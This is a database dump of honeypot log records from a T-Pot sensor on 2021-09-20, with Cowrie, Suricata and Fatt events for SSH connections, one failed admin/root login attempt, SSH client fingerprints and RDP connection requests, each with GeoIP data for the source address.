24655	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:04.155589+03	2021-09-20 14:15:09.078505+03	{"_id": "NwblAnwBvYTbRNuEJhWN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:7361 (192.168.176.2:22) [session: 93b180aa17df]", "session": "93b180aa17df", "@version": "1", "protocol": "ssh", "src_port": 7361, "dest_port": 22, "timestamp": "2021-09-20T11:09:04.155589Z", "@timestamp": "2021-09-20T11:09:04.155Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24656	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:03.481349+03	2021-09-20 14:15:09.0795+03	{"_id": "LwblAnwBvYTbRNuEJhWM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/root] failed", "session": "68579d5a0ba7", "@version": "1", "password": "root", "username": "admin", "timestamp": "2021-09-20T11:09:03.481349Z", "@timestamp": "2021-09-20T11:09:03.481Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24657	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:04.131698+03	2021-09-20 14:15:09.0805+03	{"_id": "MgblAnwBvYTbRNuEJhWM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0667e1517904", "@version": "1", "timestamp": "2021-09-20T11:09:04.131698Z", "@timestamp": "2021-09-20T11:09:04.131Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24658	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:03.81534+03	2021-09-20 14:15:09.081499+03	{"_id": "RwblAnwBvYTbRNuEJhWN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "893263172587", "@version": "1", "duration": 6.11473536491394, "timestamp": "2021-09-20T11:09:03.815340Z", "@timestamp": "2021-09-20T11:09:03.815Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24659	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:03.936322+03	2021-09-20 14:15:09.0835+03	{"_id": "SAblAnwBvYTbRNuEJhWN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8bfd395996bd", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:03.936322Z", "@timestamp": "2021-09-20T11:09:03.936Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24660	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:04.158806+03	2021-09-20 14:15:09.0845+03	{"_id": "SQblAnwBvYTbRNuEJhWN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "93b180aa17df", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:04.158806Z", "@timestamp": "2021-09-20T11:09:04.158Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24661	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:04.259382+03	2021-09-20 14:15:09.0855+03	{"_id": "SgblAnwBvYTbRNuEJhWN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0cb70e7098e0", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:04.259382Z", "@timestamp": "2021-09-20T11:09:04.259Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24662	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:04.379162+03	2021-09-20 14:15:09.086499+03	{"_id": "SwblAnwBvYTbRNuEJhWN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "03c2f1d780f7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:04.379162Z", "@timestamp": "2021-09-20T11:09:04.379Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24663	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:09:14.386638+03	2021-09-20 14:15:09.087503+03	{"_id": "YAblAnwBvYTbRNuETxbz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:09:14.045746+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 411335122399922, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55744, "dest_port": 3389, "timestamp": "2021-09-20T11:09:14.386638Z", "@timestamp": "2021-09-20T11:09:14.386Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
24673	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:15.342055+03	2021-09-20 14:15:09.1015+03	{"_id": "awblAnwBvYTbRNuEURal", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:37114 (192.168.176.2:22) [session: 4afed5ee7d32]", "session": "4afed5ee7d32", "@version": "1", "protocol": "ssh", "src_port": 37114, "dest_port": 22, "timestamp": "2021-09-20T11:09:15.342055Z", "@timestamp": "2021-09-20T11:09:15.342Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24664	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:09:14.76098+03	2021-09-20 14:15:09.0885+03	{"_id": "YQblAnwBvYTbRNuETxbz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:09:14.045746+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 411335122399922, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55744, "dest_port": 3389, "timestamp": "2021-09-20T11:09:14.760980Z", "@timestamp": "2021-09-20T11:09:14.760Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
24665	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:09:14.386638+03	2021-09-20 14:15:09.090479+03	{"_id": "YgblAnwBvYTbRNuETxb1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:09:14.045746+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 411335122399922, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55744, "dest_port": 3389, "timestamp": "2021-09-20T11:09:14.386638Z", "@timestamp": "2021-09-20T11:09:14.386Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
24666	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:09:14.434212+03	2021-09-20 14:15:09.0915+03	{"_id": "YwblAnwBvYTbRNuETxb1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:09:14.045746+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 411335122399922, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 55744, "timestamp": "2021-09-20T11:09:14.434212Z", "@timestamp": "2021-09-20T11:09:14.434Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
24667	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:14.747157+03	2021-09-20 14:15:09.0925+03	{"_id": "ZAblAnwBvYTbRNuETxb2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1749850942735234, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 47704, "dest_port": 22, "timestamp": "2021-09-20T11:09:14.747157Z", "@timestamp": "2021-09-20T11:09:14.747Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24674	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:14.474164+03	2021-09-20 14:15:09.1025+03	{"_id": "eAblAnwBvYTbRNuEURal", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2af9e6b1581d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:14.474164Z", "@timestamp": "2021-09-20T11:09:14.474Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24668	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:09:14.76098+03	2021-09-20 14:15:09.0935+03	{"_id": "ZQblAnwBvYTbRNuETxb2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:09:14.045746+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 411335122399922, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55744, "dest_port": 3389, "timestamp": "2021-09-20T11:09:14.760980Z", "@timestamp": "2021-09-20T11:09:14.760Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
24669	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:09:14.386638+03	2021-09-20 14:15:09.0955+03	{"_id": "ZwblAnwBvYTbRNuEUBb3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 55744, "dest_port": 3389, "timestamp": "2021-09-20T11:09:14.386638", "@timestamp": "2021-09-20T11:09:14.386Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
24670	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:14.74732+03	2021-09-20 14:15:09.0975+03	{"_id": "aAblAnwBvYTbRNuEUBb3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47704, "timestamp": "2021-09-20T11:09:14.747320", "@timestamp": "2021-09-20T11:09:14.747Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
